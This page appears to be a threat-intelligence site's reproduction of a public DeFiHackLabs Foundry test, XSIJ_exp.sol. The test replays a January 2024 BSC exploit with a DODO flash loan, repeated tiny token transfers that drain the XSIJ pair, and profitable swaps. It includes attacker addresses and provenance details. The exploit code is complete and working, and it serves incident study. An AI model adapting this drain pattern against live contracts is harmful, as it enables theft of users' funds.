Skip to content
THREATWIRE

Public reproduction file

src/test/2024-01/XSIJ_exp.sol

Public reproduction file for dataset entry XSIJ.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-01/XSIJ_exp.sol71 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo -- Total Lost : ~51K USD
8// TX : https://app.blocksec.com/explorer/tx/bsc/0xf477089602fefcfc1dbdce15834476267914d64a1e6a52f07d3f135f091e1d27
9// Attacker : https://bscscan.com/address/0xc4f82210c2952fcec77efe734ab2d9b14e858469
10// Attack Contract : https://bscscan.com/address/0x5313f4f04fdcc2330ccfa5ba7da2780850d1d7be
11// GUY : https://x.com/CertiKAlert/status/1752384801535918264
13interface IDodo {
14 function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;
17interface XSIJ is IERC20 {
18 function removePoolAmount() external view returns (uint256);
21contract Exploit is Test {
22 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
23 XSIJ Xsij = XSIJ(0x31bfA137C76561ef848c2af9Ca301b60451CaAC0);
24 IPancakePair Pair = IPancakePair(0xf43Fd71f404CC450c470d42E3F478a6D38C96311);
25 IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
26 IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
27 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
29 function setUp() public {
30 cheats.createSelectFork("bsc", 35_702_095);
31 deal(address(BUSD), address(this), 0 ether);
32 }
34 function testExploit() public {
35 emit log_named_decimal_uint(
36 "Attacker USDT balance before exploit", BUSD.balanceOf(address(this)), BUSD.decimals()
37 );
38 DPP.flashLoan(0, 100_000_000_000_000_000_000_000, address(this), new bytes(0x123));
39 emit log_named_decimal_uint(
40 "Attacker USDT balance after exploit", BUSD.balanceOf(address(this)), BUSD.decimals()
41 );
42 }
44 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
45 BUSD.approve(address(Router), 100_000 * 1e18);
46 address[] memory path = new address[](2);
47 path[0] = address(BUSD);
48 path[1] = address(Xsij);
50 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
51 100_000 * 1e18, 0, path, address(this), block.timestamp + 100
52 );
53 uint256 i;
54 while (Xsij.balanceOf(address(Pair)) > 1800 * 1e18) {
55 Xsij.transfer(address(Pair), 1);
56 i++;
57 }
58 Xsij.approve(address(Router), 10_111_100_000 * 1e18);
59 address[] memory path2 = new address[](2);
60 path2[0] = address(Xsij);
61 path2[1] = address(BUSD);
62 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
63 Xsij.balanceOf(address(this)), 0, path2, address(this), block.timestamp + 100
64 );
65 BUSD.transfer(address(msg.sender), quoteAmount);
66 }
68 function getMyVariable() public view returns (uint256) {
69 return Xsij.removePoolAmount();
70 }

Analysis

Dataset entry

Public Foundry test for “XSIJ” (2024-01-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc4f82210c2952fcec77efe734ab2d9b14e858469

  • Attack Contract

    0x5313f4f04fdcc2330ccfa5ba7da2780850d1d7be

File record

Name
XSIJ
Path
src/test/2024-01/XSIJ_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
e37f28c442e0fddf85ede319759be68a1b3fa3f3
Language
Solidity
Size
72 lines
Date
2024-01-30
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-01/XSIJ_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e37f28c442e0fddf85ede319759be68a1b3fa3f3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.